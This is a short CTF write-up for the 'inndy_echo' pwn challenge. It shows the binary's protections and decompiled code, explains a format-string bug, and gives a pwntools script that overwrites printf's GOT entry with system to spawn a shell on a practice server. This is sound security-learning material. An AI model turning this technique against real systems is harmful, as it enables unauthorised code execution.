inndy_echo

inndy_echo Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

32位，只开了NX

int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char s; // [esp+Ch] [ebp-10Ch] unsigned int v4; // [esp+10Ch] [ebp-Ch] v4 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); do { fgets(&s, 0x100, stdin); printf(&s); } while ( strcmp(&s, "exit\n") ); system("echo Goodbye"); exit(0); }

程序很简单，给了格式化字符串漏洞，并且给了system

思路

改printf@got-->system 输入/bin/sh

from pwn import* from Yapack import * r,elf=rec("node4.buuoj ",25120,"./pwn",10) context(os='linux', arch='i386',log_level='debug') #debug('b *0x80485b9') pl=fmtstr_payload(7,{elf.got['printf']:elf.sym['system']}) sl(pl) sl(b'/bin/sh\x00') ia(c)